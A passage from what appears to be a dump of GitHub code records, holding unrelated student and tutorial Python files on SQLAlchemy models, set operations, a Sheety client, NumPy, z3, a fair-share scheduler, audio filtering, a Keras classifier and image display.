Column(String(250))\n# street_number = Column(String(250))\n# post_code = Column(String(250), nullable=False)\n# person_id = Column(Integer, ForeignKey('person.id'))\n# person = relationship(Person)\n\n# def to_dict(self):\n# return {}\n\nclass Profile(Base) :\n __tablename__='profile' \n user_name = Column(String(250),primary_key=True)\n name = Column(String(250))\n gender = Column(String(100))\n email = Column(String(250))\n phone_no =Column(Integer)\n\nclass Subscribeto(Base):\n __tablename__='subscribeto' \n user_name = Column(String(250), primary_key=True)\n feedback = Column(Boolean)\n news = Column(Boolean)\n reminder = Column(Boolean)\n product = Column(Boolean)\n shopping_bag = Column(Boolean)\n profile_user_name = Column(String(250),ForeignKey('profile.user_name'))\n profile = relationship(Profile)\n\nclass Loginactivity(Base):\n __tablename__='loginactivity' \n user_name = Column(String(250), primary_key=True)\n addrtess = Column(String(250))\n status = Column(String(250))\n login_time = Column(Integer)\n profile_user_name = Column(String(250),ForeignKey('profile.user_name')) \n profile = relationship(Profile)\n\nclass Post(Base):\n __tablename__='post' \n user_name = Column(String(250), primary_key=True)\n post_date_time = Column(Integer) \n no_of_likes = Column(Integer)\n no_of_commands = Column(Integer)\n bookmark = Column(Integer)\n profile_user_name = Column(String(250),ForeignKey('profile.user_name')) \n profile = relationship(Profile)\n\n## Draw from SQLAlchemy base\nrender_er(Base, 'diagram.png')","repo_name":"bharathichinnusamy/Instagram_Data_Modeling","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"37754700791","text":"# Intersection of Sets\n\n# The set intersection results a new set having elements common to all of the given sets\n# The intersection method is commutative as in case of Union\n\nfruits = {\"apple\", \"pear\", \"limon\", \"grape\", \"cucumber\", \"orange\"}\nvegetables = {\"cucumber\", \"garlic\", \"onion\", \"broccoli\", \"pepper\"}\n\n\n\n# Approach 1: Using intersection method\n\nset1 = fruits.intersection(vegetables)\n#or\nset2 = vegetables.intersection(fruits)\n\nprint(\"Set 1:\",set1)\nprint(\"and/or Set 2:\",set2)\n\n\n\n# Approach 2 : Using Ampersand Operator\n\nset3 = fruits & vegetables\nprint(\"Using & --> Set 3:\",set3)\n\n\n\n# For multiple sets to be intersected\n\nflowers = {\"Mango\",\"cucumber\"}\n\nset4 = set.intersection(fruits,vegetables,flowers)\nprint(\"Set 4:\",set4)","repo_name":"tejasgolhar2/python-basic-to-advanced","sub_path":"Course Concepts/08. Sets/06_intersection_of_sets.py","file_name":"06_intersection_of_sets.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"12837819835","text":"import requests\n\nclass DataManager:\n def __init__(self, SHEETY_EP, SHEETY_AUTH):\n self.EP = SHEETY_EP\n\n self.headers = {\n \"Authorization\": SHEETY_AUTH,\n \"Content-Type\": \"application/json\"\n }\n\n def get_rows(self):\n response = requests.get(url=self.EP, headers=self.headers)\n print(response.raise_for_status())\n print(response.status_code)\n if response.status_code == 200:\n print(\"Sheet Info Pull Success!\")\n else:\n print(\"Sheet Info Pull Failed!\")\n\n return response.json()\n\n def write_to_sheety(self, row, structured_info):\n sheety_params = {\n \"flight\": {\n \"city\": structured_info[\"city\"],\n \"cityCode\": structured_info[\"cityCode\"],\n \"iataCode\": structured_info[\"iataCode\"],\n \"lowestPrice\": structured_info[\"lowestPrice\"],\n }\n }\n\n response = requests.put(url=f\"{self.EP}/{row}\", json=sheety_params, headers=self.headers)\n print(response.raise_for_status())\n print(response.status_code)\n if response.status_code == 200:\n print(\"Sheety Update Success!\")\n else:\n print(\"Sheety Update Failed!\")\n\n","repo_name":"Noitcani/100_Days_of_Python","sub_path":"Day 39 and 40 Capstone 4 - Cheap Flight Finder/data_manager.py","file_name":"data_manager.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"19646890471","text":"# -*- coding: utf-8 -*-\n# @Project:AID1810\n# @Author:biabu\n# @Date:2019/3/20 14:50\n# @File_name:demo07_matrix_equation.py\n# @IDE:PyCharm\n\n\"\"\"\n案例:解线性方程组\nx −2y+z=0\n2y −8z −8=0\n−4x+5y+9z+9=0\n\"\"\"\n\nimport numpy as np\n\ncov = np.mat('1 2 1;0 2 -8;-4 5 9')\nY = np.mat('0;8;-9')\n\n# 最小二乘法求解\nX = np.linalg.lstsq(cov, Y)[0]\nprint(X)\nX = np.linalg.solve(cov, Y)\nprint(X)\n\n# 矩阵求解\nX = cov.I * Y\nprint(X)\n\n","repo_name":"biabulinxi/Python-ML-DL","sub_path":"AI/DataAnalysis/Day06/demo07_matrix_equation.py","file_name":"demo07_matrix_equation.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"74236570486","text":"from ..settings import FACTCHECKING_TAGS, FACTCHECKING_LABELS_MAP\n\n\ndef get_factchecking_meter_tag(post: dict) -> str:\n tag = None\n\n for post_tag in post.get('tags', []):\n if post_tag['slug'] in FACTCHECKING_TAGS:\n return post_tag['slug']\n\n if not tag:\n raise ValueError(f'Tag was not found in factchecking post\\n{post[\"tags\"]}')\n\n\ndef get_factchecking_tag_label(tag: str) -> str:\n if tag not in FACTCHECKING_TAGS:\n raise ValueError('Invalid tag name')\n\n return FACTCHECKING_LABELS_MAP[tag]\n","repo_name":"aq1/svtv_cards","sub_path":"cards/utils/factchecking.py","file_name":"factchecking.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"7303021092","text":"'''\nAuthor: Chris Wang\nDate: 2021-02-20 16:45:15\nLastEditors: your name\nLastEditTime: 2021-02-21 09:00:13\nDescription: file content\n'''\nfrom z3 import *\n\n'''\n\n# x,y = Reals('x y')\n# g = Goal()\n# g.add(Or(x>0,x<0),x==y+1,y<0,Or(y>1,y<-1))\n\n# t = Tactic('split-clause')\n# r = t(g)\n# for gg in r:\n# print(gg)\n\nx,y,z = Reals('x y z')\ng =Goal()\ng.add(Or(x==0,x==1),\n Or(y==0,y==1),\n Or(z==0,z==1),\n x+y+z>2)\n\n# Split all clause 这里即用组合的方式展示tactics的效果\n# 例如上图中有三个Or,下面要配合Repat,OrElse,函数来执行\n\nsplit_all = Repeat(OrElse(Tactic('split-clause'), Tactic('skip')))\nprint(split_all(g))\n\nsplit_at_most_2 = Repeat(OrElse(Tactic('split-clause'),\n Tactic('skip')),\n 1)\nprint(split_at_most_2(g)) \n\nsplit_solve= Then(Repeat(OrElse(Tactic('split-clause'),\n Tactic('skip'))),\n Tactic('solve-eqs'))\nprint(split_solve(g))\n\nfor s in split_all(g):\n print(s)\n\n\n# 相当于一个组合容器,对自己将要在求解过程中执行的行为进行打包\nbv_solver = Then('simplify',\n 'solve-eqs',\n 'bit-blast',\n 'sat').solver()\n\nx,y = BitVecs('x y',16)\nsolve_using(bv_solver, x | y == 13,x > y)\n\n\nbv_solver = Then(With('simplify', mul2concat = True),\n 'solve-eqs',\n 'bit-blast',\n 'aig',\n 'sat').solver()\nx,y = BitVecs('x y',16)\nbv_solver.add(x*32 + y ==13, x & y < 10,y>-100)\nprint(bv_solver.check())\n\nm = bv_solver.model()\nprint(x*32+y,\"==\",m.evaluate(x*32+y))\nprint(x&y,\"==\",m.evaluate(x&y))\n\n\n\nx,y = Ints('x y')\ns = Tactic('smt').solver()\ns.add(x>y+1)\nprint(s.check())\nprint(s.model())\n\n\ns = Then(With('simplify',arith_lhs = True,som = True),\n 'normalize-bounds','lia2pb','pb2bv',\n 'bit-blast','sat').solver()\nx,y,z = Ints('x y z')\n\nsolve_using(s,\n x > 0,x<10,\n y>0,y<10,\n z >0,z<10,\n 3*y+2*x==z)\n\n# It fails on the next example(it is unbounded)\ns.reset() # 这个是重置条件的函数\nsolve_using(s,3*y+2*x == z)\n\n\n\nt = Then('simplify', 'normalize-bounds', 'solve-eqs')\n\nx,y,z = Ints('x y z')\ng = Goal()\ng.add(x>10,y==x+3,z >3)\n\n# r contains only one subgoal\nr = t(g)\nprint(r)\n\ns = Solver()\ns.add(r[0])\nprint(s.check())\n\n# model for the subgoal\nprint(s.model())\n\n# model for the original goal\nprint(r[0].convert_model(s.model())) # 注意运用这个拆分问题得到的r\n\n'''\n\nx,y,z = Reals('x y z')\ng = Goal()\ng.add(x+y+z > 0)\np = Probe('num-consts')\n\nprint(\"num-consts:\",p(g))\n\n\nt = FailIf(p>2)\ntry:\n t(g)\nexcept Z3Exception:\n print(\"tactic failed\")\n\nprint(\"trying again..\")\ng = Goal()\ng.add(x+y>0)\nprint(p(g))\n","repo_name":"chris3will/professional_courses","sub_path":"技术学习/z3solver-tutorial/code/z3tutorial-ms/Stratigies/intro.py","file_name":"intro.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"76"} +{"seq_id":"42604961713","text":"import threading\r\n\r\nfrom timer import Timer\r\nimport process\r\nimport logging\r\nfrom threading import Thread\r\n\r\nclass Scheduler:\r\n # waiting and ready queue\r\n waitingQueue = []\r\n readyQueue = []\r\n # user dict\r\n readyUserDict = {}\r\n # time quantum\r\n time_quant = 0\r\n\r\n t1=Timer()\r\n\r\n def __init__(self, list, quant):\r\n # copy list of all process to waiting queue\r\n self.waitingQueue.extend(list)\r\n\r\n #time quantum\r\n self.time_quant = quant\r\n\r\n # message configuration\r\n self.configureThreadMsg()\r\n\r\n\r\n while ((len(self.readyQueue) != 0) or (len(self.waitingQueue) != 0)):\r\n # check if process in waiting queue are ready\r\n self.checkReady()\r\n # allocate quantum to those in ready queue\r\n self.allocateQuantum()\r\n\r\n # run threads of processes in ready queue\r\n if len(self.readyQueue) != 0:\r\n for j in range(len(self.readyQueue)):\r\n thread = threading.Thread(target=self.execute, args=(self.readyQueue.pop(0),))\r\n thread.start()\r\n thread.join()\r\n else:\r\n self.t1.timerRun(1)\r\n\r\n\r\n\r\n def configureThreadMsg(self):\r\n #configure logging info format\r\n logging.basicConfig(filename='output.txt', level=logging.INFO, format='Time %(time)s, User %(user)s, Process %(processId)s, %(message)s')\r\n\r\n\r\n def checkReady(self):\r\n if len(self.waitingQueue) !=0:\r\n for i in range(len(self.waitingQueue)):\r\n p = self.waitingQueue.pop(0)\r\n if p.arrival == self.t1.timer:\r\n # add process to ready queue\r\n self.addReadyQueue(p)\r\n else:\r\n # append back to waiting\r\n self.waitingQueue.append(p)\r\n\r\n\r\n def addReadyQueue(self, p):\r\n self.readyQueue.append(p)\r\n # add ready user to queue\r\n if(len(self.readyUserDict) == 0):\r\n self.readyUserDict[p.user] = 1\r\n else:\r\n if p.user in self.readyUserDict:\r\n self.readyUserDict[p.user] += 1\r\n else:\r\n self.readyUserDict[p.user] = 1\r\n\r\n\r\n\r\n def removeReadyDict(self, p):\r\n #check if need to remove from ready user dict\r\n if self.readyUserDict[p.user] == 1:\r\n self.readyUserDict.pop(p.user)\r\n elif self.readyUserDict[p.user] > 1:\r\n self.readyUserDict[p.user] -= 1\r\n\r\n # allocate quantum to processes in ready queue\r\n def allocateQuantum(self):\r\n if len(self.readyQueue) !=0:\r\n for p in self.readyQueue:\r\n allocQuantum = self.time_quant // len(self.readyUserDict) // self.readyUserDict[p.user]\r\n p.quantum = allocQuantum\r\n\r\n\r\n # execute process\r\n def execute(self, p):\r\n # define the custom thread name\r\n extra_info = {'time': self.t1.timer, 'user': p.user, 'processId': p.id}\r\n\r\n # update state and print msg\r\n if p.state == \"New\":\r\n p.state = \"Started\"\r\n extra_info = {'time': self.t1.timer, 'user': p.user, 'processId': p.id}\r\n logging.info('Started', extra=extra_info)\r\n p.state = \"Resumed\"\r\n extra_info = {'time': self.t1.timer, 'user': p.user, 'processId': p.id}\r\n logging.info('Resumed', extra=extra_info)\r\n elif p.state == \"Paused\":\r\n p.state = \"Resumed\"\r\n extra_info = {'time': self.t1.timer, 'user': p.user, 'processId': p.id}\r\n logging.info('Resumed', extra=extra_info)\r\n\r\n # run burst time for the allocated quantum\r\n while True:\r\n if p.burst <= p.quantum:\r\n # update time\r\n for i in range(p.burst):\r\n self.t1.timerRun(1)\r\n self.checkReady()\r\n\r\n # update burst time\r\n p.burst = 0\r\n\r\n # update state and print msg\r\n p.state = \"Paused\"\r\n extra_info = {'time': self.t1.timer, 'user': p.user, 'processId': p.id}\r\n logging.info('Paused', extra=extra_info)\r\n p.state = \"Finished\"\r\n logging.info('Finished', extra=extra_info)\r\n\r\n # check if we need to remove user\r\n self.removeReadyDict(p)\r\n break\r\n elif p.burst > p.quantum:\r\n # update process burst time left\r\n p.burst = p.burst - p.quantum\r\n # update time and check is waiting process ready\r\n for i in range(p.quantum):\r\n self.t1.timerRun(1)\r\n self.checkReady()\r\n\r\n # update state and print msg\r\n p.state = \"Paused\"\r\n extra_info = {'time': self.t1.timer, 'user': p.user, 'processId': p.id}\r\n logging.info('Paused', extra=extra_info)\r\n\r\n # add back to ready queue\r\n self.readyQueue.append(p)\r\n break\r\n\r\n\r\n","repo_name":"ntabas00/OPERATING-SYSTEM-","sub_path":"OPERATING SYSTEM/FAIRSHARE SCHEDULER/scheduler.py","file_name":"scheduler.py","file_ext":"py","file_size_in_byte":5075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"27097563630","text":"\n#Bibliotecas\nimport numpy\nimport wave\nimport struct\nfrom scipy import signal\n#Parámetros del filtro grave.\nfl=20.0\nfu=200.0\nfs=44100.0\nfnyq=fs/2\nfinf=fl/fnyq\nfsup=fu/fnyq\n#Declarando el filtro de graves[20-200].\nb1,a1=signal.butter(3,[finf,fsup],btype='band',analog=False)\nG1=0.9\nedo_bass = numpy.zeros(6)\n#Parámetros del filtro medios-graves.\nfl=200.0\nfu=1000.0\nfinf=fl/fnyq\nfsup=fu/fnyq\n#Declarando el filtro de medios-graves[200-1000].\nb2,a2=signal.butter(3,[finf,fsup],btype='band',analog=False)\nG2=0.8\nedo_mid_bass = numpy.zeros(6)\n#Parámetros del filtro medios-agudos.\nfl=1000.0\nfu=5000.0\nfinf=fl/fnyq\nfsup=fu/fnyq\n#Declarando el filtro de medios-agudos[1000-5000].\nb3,a3=signal.butter(3,[finf,fsup],btype='band',analog=False)\nG3=0.5\nedo_mid_hi = numpy.zeros(6)\n#Parámetros del filtro agudos.\nfl=5000.0\nfu=20000.0\nfinf=fl/fnyq\nfsup=fu/fnyq\n#Declarando el filtro de agudos[5000-20000].\nb4,a4=signal.butter(3,[finf,fsup],btype='band',analog=False)\nG4=0.1\nedo_hi = numpy.zeros(6)\n#Lector\nlector = wave.open('whitenoise.wav','rb')\n\n#Escritor\nescritor = wave.open('copiagain.wav','wb')\n\n#subespacio de cabecera\nescritor.setparams(lector.getparams())\n\n#Espacio de muestras\nstrAudioPackage = lector.readframes(16)\n\nwhile len(strAudioPackage)==2*16:\n #Decodificacion\n audioPackage = struct.unpack(16*'h',strAudioPackage)\n audioPackage_bass = struct.unpack(16*'h',strAudioPackage)\n audioPackage_mid_bass = struct.unpack(16*'h',strAudioPackage)\n audioPackage_mid_hi = struct.unpack(16*'h',strAudioPackage)\n audioPackage_hi = struct.unpack(16*'h',strAudioPackage)\n\n #filtrado\n audioPackage_bass,edo_bass=signal.lfilter(b1*G1,a1,audioPackage,zi=edo_bass)\n audioPackage_mid_bass,edo_mid_bass=signal.lfilter(b2*G2,a2,audioPackage,zi=edo_mid_bass)\n audioPackage_mid_hi,edo_mid_hi=signal.lfilter(b3*G3,a3,audioPackage,zi=edo_mid_hi)\n audioPackage_hi,edo_hi=signal.lfilter(b3*G3,a3,audioPackage,zi=edo_hi)\n audioPackage=audioPackage_bass+audioPackage_mid_bass+audioPackage_mid_hi+audioPackage_hi\n\n #codificacion\n strAudioPackage='' #debe creae una estructura fija\n for k in audioPackage:\n strAudioPackage+=struct.pack('h',int(k))\n\n #escritura\n escritor.writeframes(strAudioPackage)\n\n #lectura\n strAudioPackage=lector.readframes(16)\n\n\n#cierre\nlector.close()\nescritor.close()\n","repo_name":"OrlandoTele96/DSP_Project_2","sub_path":"Filtroaudio_1band.py","file_name":"Filtroaudio_1band.py","file_ext":"py","file_size_in_byte":2332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"4498914052","text":"import numpy as np\r\nfrom mpl_toolkits import mplot3d\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Activation\r\nfrom keras import metrics\r\nfrom keras import optimizers\r\nfrom scipy.stats import multivariate_normal\r\nfrom keras.utils.np_utils import to_categorical\r\nfrom sklearn.model_selection import KFold\r\nimport matplotlib.pyplot as plt\r\nimport tensorflow\r\nimport math\r\nimport random\r\n\r\n# section 1\r\n# parameter\r\nn = 3\r\nN = 10000\r\nprior = [0.1, 0.2, 0.3, 0.4]\r\nmu0 = np.array([1, 4, 6])\r\nmu1 = np.array([2, -1, 3])\r\nmu2 = np.array([-3, 3, 1])\r\nmu3 = np.array([-2, -1, -3])\r\nsigma0 = np.mat([[ 4.7709,-1.2340,1.9591],\r\n [ -1.2340,6.2264,1.5383],\r\n [1.9591,1.5383,3.0027]])\r\nsigma1 = np.mat([[4.82347,-0.31032,-0.51968],\r\n [ -0.31032,4.67813,-1.39300],\r\n [ -0.51968,-1.39300,4.49840]])\r\nsigma2 = np.mat([[4.1613791,0.0020674,-0.8451883],\r\n [0.0020674,3.9438725,-0.5152832],\r\n [-0.8451883,-0.5152832,3.8947484]])\r\nsigma3 = np.mat([[ 2.8364083,-0.0095313,-0.4147533],\r\n [-0.0095313,1.3531993,-0.5009474],\r\n [-0.4147533,-0.5009474,1.8103923]])\r\n\r\nchoose = np.zeros([N,1])\r\nchoose = np.random.rand(N)\r\nx = np.zeros([N,n])\r\ntruedec = np.zeros([N,2])\r\n\r\nfor i in range(N):\r\n if(choose[i] > 0 and choose[i] <= prior[0]):\r\n x[i] = np.random.multivariate_normal(mu0, sigma0)\r\n truedec[i,0] = 0\r\n if(choose[i] > prior[0] and choose[i] <= prior[1]+prior[0]):\r\n x[i] = np.random.multivariate_normal(mu1, sigma1)\r\n truedec[i,0] = 1\r\n if(choose[i] > prior[1]+prior[0] and choose[i] <=prior[2]+prior[1]+prior[0]):\r\n x[i] = np.random.multivariate_normal(mu2, sigma2)\r\n truedec[i,0] = 2\r\n if(choose[i] > prior[2]+prior[1]+prior[0] and choose[i] <=1):\r\n x[i] = np.random.multivariate_normal(mu3, sigma3)\r\n truedec[i,0] = 3\r\n\r\ndis = plt.axes(projection='3d')\r\nplt.figure(1)\r\nfor i in range(N):\r\n if(truedec[i,0]==0):\r\n dis.scatter3D(x[i,0], x[i,1], x[i,2], color='r',marker='d')\r\n elif(truedec[i,0]==1):\r\n dis.scatter3D(x[i,0], x[i,1], x[i,2], color='y',marker='o')\r\n elif(truedec[i,0]==2):\r\n dis.scatter3D(x[i,0], x[i,1], x[i,2], color='b',marker='^')\r\n elif(truedec[i,0]==3):\r\n dis.scatter3D(x[i,0], x[i,1], x[i,2], color='g',marker='.')\r\nplt.show()\r\n\r\n# section 2\r\n\r\n# eva gaussian PDF\r\nevalgau = np.zeros([N,4])\r\nfor i in range(N):\r\n nor1 = multivariate_normal(mean=mu0, cov=sigma0)\r\n re1 = nor1.pdf(x[i])*prior[0]\r\n evalgau[i,0] = re1\r\n nor2 = multivariate_normal(mean=mu1, cov=sigma1)\r\n re2 = nor2.pdf(x[i])*prior[1]\r\n evalgau[i,1] = re2\r\n nor3 = multivariate_normal(mean=mu2, cov=sigma2)\r\n re3 = nor3.pdf(x[i])*prior[2]\r\n evalgau[i,2] = re3\r\n nor4 = multivariate_normal(mean=mu3, cov=sigma3)\r\n re4 = nor4.pdf(x[i])*prior[3]\r\n evalgau[i,3] = re4\r\n\r\n# decision\r\nfor i in range(N):\r\n maxd = evalgau[i,0]\r\n dec = 0\r\n if(evalgau[i,1] > maxd):\r\n maxd = evalgau[i,1]\r\n dec = 1\r\n if(evalgau[i,2] > maxd):\r\n maxd = evalgau[i,2]\r\n dec = 2\r\n if(evalgau[i,3] > maxd):\r\n maxd = evalgau[i,3]\r\n dec = 3\r\n truedec[i,1] = dec\r\n\r\n# calculate P error\r\ne = 0\r\nfor i in range(N):\r\n if(truedec[i,0] != truedec[i,1]):\r\n e = e+1\r\n\r\nprint(e/N)\r\n\r\n# section 3\r\nmodel1 = Sequential()\r\n# training 100\r\nxTrain100 = np.zeros([100,n])\r\nxTrainlabel100 = np.zeros([100,2])\r\nchoose1 = np.zeros([100,1])\r\nchoose1 = np.random.rand(100)\r\nfor i in range(100):\r\n if(choose1[i] > 0 and choose1[i] <= prior[0]):\r\n xTrain100[i] = np.random.multivariate_normal(mu0, sigma0)\r\n xTrainlabel100[i,0] = 0\r\n if(choose1[i] > prior[0] and choose1[i] <= prior[1]+prior[0]):\r\n xTrain100[i] = np.random.multivariate_normal(mu1, sigma1)\r\n xTrainlabel100[i,0] = 1\r\n if(choose1[i] > prior[1]+prior[0] and choose1[i] <=prior[2]+prior[1]+prior[0]):\r\n xTrain100[i] = np.random.multivariate_normal(mu2, sigma2)\r\n xTrainlabel100[i,0] = 2\r\n if(choose1[i] > prior[2]+prior[1]+prior[0] and choose1[i] <=1):\r\n xTrain100[i] = np.random.multivariate_normal(mu3, sigma3)\r\n xTrainlabel100[i,0] = 3\r\none_hot1 = to_categorical(xTrainlabel100.T[0])\r\n\r\na100 = np.zeros([10,1])\r\nfor p in range(10):\r\n print(p+1)\r\n model1.add(Dense(units=p+1, input_shape=(3,)))\r\n model1.add(Activation('softplus'))\r\n model1.add(Dense(units=4))\r\n model1.add(Activation('softmax'))\r\n model1.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\r\n acc1 = np.zeros([10,1])\r\n i = 0\r\n k1 = KFold(n_splits=10, shuffle=False)\r\n for train_index , test_index in k1.split(xTrain100):\r\n train, test = xTrain100[train_index], xTrain100[test_index]\r\n trainL, testL = one_hot1[train_index], one_hot1[test_index]\r\n model1.fit(train, trainL, batch_size=1, epochs=30, verbose=0)\r\n score, acc = model1.evaluate(test, testL, verbose=0)\r\n acc1[i] = acc\r\n i = i+1\r\n a100[p] = np.sum(acc1)/10\r\n\r\nmodel2 = Sequential()\r\n# training 1000\r\nxTrain1000 = np.zeros([1000,n])\r\nxTrainlabel1000 = np.zeros([1000,2])\r\nchoose2 = np.zeros([1000,1])\r\nchoose2 = np.random.rand(1000)\r\nfor i in range(1000):\r\n if(choose2[i] > 0 and choose2[i] <= prior[0]):\r\n xTrain1000[i] = np.random.multivariate_normal(mu0, sigma0)\r\n xTrainlabel1000[i,0] = 0\r\n if(choose2[i] > prior[0] and choose2[i] <= prior[1]+prior[0]):\r\n xTrain1000[i] = np.random.multivariate_normal(mu1, sigma1)\r\n xTrainlabel1000[i,0] = 1\r\n if(choose2[i] > prior[1]+prior[0] and choose2[i] <=prior[2]+prior[1]+prior[0]):\r\n xTrain1000[i] = np.random.multivariate_normal(mu2, sigma2)\r\n xTrainlabel1000[i,0] = 2\r\n if(choose2[i] > prior[2]+prior[1]+prior[0] and choose2[i] <=1):\r\n xTrain1000[i] = np.random.multivariate_normal(mu3, sigma3)\r\n xTrainlabel1000[i,0] = 3\r\none_hot2 = to_categorical(xTrainlabel1000.T[0])\r\n\r\na1000 = np.zeros([10,1])\r\nfor p in range(10):\r\n print(p+1)\r\n model2.add(Dense(units=p+1, input_shape=(3,)))\r\n model2.add(Activation('softplus'))\r\n model2.add(Dense(units=4))\r\n model2.add(Activation('softmax'))\r\n model2.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\r\n\r\n acc2 = np.zeros([10,1])\r\n i = 0\r\n k1 = KFold(n_splits=10, shuffle=False)\r\n for train_index , test_index in k1.split(xTrain1000):\r\n train, test = xTrain1000[train_index], xTrain1000[test_index]\r\n trainL, testL = one_hot2[train_index], one_hot2[test_index]\r\n model2.fit(train, trainL, batch_size=10, epochs=30, verbose=0)\r\n score, acc = model2.evaluate(test, testL, verbose=0)\r\n acc2[i] = acc\r\n i = i+1\r\n a1000[p] = np.sum(acc2)/10\r\n\r\nmodel3 = Sequential()\r\n# training 10000\r\nxTrain10000 = np.zeros([10000,n])\r\nxTrainlabel10000 = np.zeros([10000,2])\r\nchoose3 = np.zeros([10000,1])\r\nchoose3 = np.random.rand(10000)\r\nfor i in range(10000):\r\n if(choose3[i] > 0 and choose3[i] <= prior[0]):\r\n xTrain10000[i] = np.random.multivariate_normal(mu0, sigma0)\r\n xTrainlabel10000[i,0] = 0\r\n if(choose3[i] > prior[0] and choose3[i] <= prior[1]+prior[0]):\r\n xTrain10000[i] = np.random.multivariate_normal(mu1, sigma1)\r\n xTrainlabel10000[i,0] = 1\r\n if(choose3[i] > prior[1]+prior[0] and choose3[i] <=prior[2]+prior[1]+prior[0]):\r\n xTrain10000[i] = np.random.multivariate_normal(mu2, sigma2)\r\n xTrainlabel10000[i,0] = 2\r\n if(choose3[i] > prior[2]+prior[1]+prior[0] and choose3[i] <=1):\r\n xTrain10000[i] = np.random.multivariate_normal(mu3, sigma3)\r\n xTrainlabel10000[i,0] = 3\r\none_hot3 = to_categorical(xTrainlabel10000.T[0])\r\n\r\na10000 = np.zeros([10,1])\r\nfor p in range(10):\r\n print(p+1)\r\n model3.add(Dense(units=p+1, input_shape=(3,)))\r\n model3.add(Activation('softplus'))\r\n model3.add(Dense(units=4))\r\n model3.add(Activation('softmax'))\r\n model3.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\r\n\r\n acc3 = np.zeros([10,1])\r\n i = 0\r\n k1 = KFold(n_splits=10, shuffle=False)\r\n for train_index , test_index in k1.split(xTrain10000):\r\n train, test = xTrain10000[train_index], xTrain10000[test_index]\r\n trainL, testL = one_hot3[train_index], one_hot3[test_index]\r\n model3.fit(train, trainL, batch_size=100, epochs=30, verbose=0)\r\n score, acc = model3.evaluate(test, testL, verbose=0)\r\n acc3[i] = acc\r\n i = i+1\r\n a10000[p] = np.sum(acc3)/10\r\n\r\nplt.figure(2)\r\nplt.plot([1,2,3,4,5,6,7,8,9,10], a100[:], 'o', label = 'training 100')\r\nplt.plot([1,2,3,4,5,6,7,8,9,10], a1000[:], 'o', label = 'training 1000')\r\nplt.plot([1,2,3,4,5,6,7,8,9,10], a10000[:], 'o', label = 'training 10000')\r\nplt.title('training set 100-1000-10000')\r\nplt.xlabel('perceptrons')\r\nplt.ylabel('accuracy')\r\nplt.legend()\r\nplt.show()\r\n\r\np1 = np.argmax(a100)\r\np2 = np.argmax(a1000)\r\np3 = np.argmax(a10000)\r\nprint(\"model with training set 100: \", p1, \"units\")\r\nprint(\"model with training set 1000: \", p2, \"units\")\r\nprint(\"model with training set 10000: \", p3, \"units\")\r\n\r\none_hot_test = to_categorical(truedec.T[0])\r\n\r\n# 100\r\nmodel3 = Sequential()\r\nmodel3.add(Dense(units=p1, input_shape=(3,)))\r\nmodel3.add(Activation('softplus'))\r\nmodel3.add(Dense(units=4))\r\nmodel3.add(Activation('softmax'))\r\nmodel3.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\r\nmodel3.fit(xTrain100, one_hot1, batch_size=1, epochs=30, verbose=0)\r\nscore1, acc1 = model3.evaluate(x, one_hot_test, verbose=0)\r\nprint(\"training set: 100, accuracy: \", acc1)\r\n\r\n# 1000\r\nmodel3 = Sequential()\r\nmodel3.add(Dense(units=p2, input_shape=(3,)))\r\nmodel3.add(Activation('softplus'))\r\nmodel3.add(Dense(units=4))\r\nmodel3.add(Activation('softmax'))\r\nmodel3.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\r\nmodel3.fit(xTrain1000, one_hot2, batch_size=10, epochs=30, verbose=0)\r\nscore2, acc2 = model3.evaluate(x, one_hot_test, verbose=0)\r\nprint(\"training set: 1000, accuracy: \", acc2)\r\n\r\n# 10000\r\nmodel3 = Sequential()\r\nmodel3.add(Dense(units=p3, input_shape=(3,)))\r\nmodel3.add(Activation('softplus'))\r\nmodel3.add(Dense(units=4))\r\nmodel3.add(Activation('softmax'))\r\nmodel3.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\r\nmodel3.fit(xTrain10000, one_hot3, batch_size=100, epochs=30, verbose=0)\r\nscore3, acc3 = model3.evaluate(x, one_hot_test, verbose=0)\r\nprint(\"training set: 10000, accuracy: \", acc3)","repo_name":"zy15384/machine-learning","sub_path":"exam2Q1.py","file_name":"exam2Q1.py","file_ext":"py","file_size_in_byte":10575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"44379748323","text":"from uuid import uuid4\nimport re\n\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass Boardspace:\n \"\"\"Displays images using opencv\"\"\"\n def __init__(self, title=str(uuid4()), x=1024, y=1024, mpl=False, option=cv2.WINDOW_NORMAL):\n \"\"\"\n :param mpl Use matplotlib; else use cv2\n \"\"\"\n self.title = title\n self.mpl = mpl\n if mpl:\n self.figure = plt.figure(1, figsize=(x/100, x/100)) # size in inches\n plt.title = self.title\n else:\n cv2.namedWindow(self.window_name, option)\n cv2.resizeWindow(self.window_name, x, y)\n\n def show(self, images, labels, waitSeconds=0, normalize=False, output=None):\n \"\"\"show images one after another\n :param images iterable of any numerable image format\n :param labels iterable of labels corresponding to images\n :param waitSeconds how long image will be displayed in seconds.\n Default `0` means: wait untill press any key\n :param normalize boolean indicating if normalize to range [0,1].\n :param output dont show, but save figure at given output\n 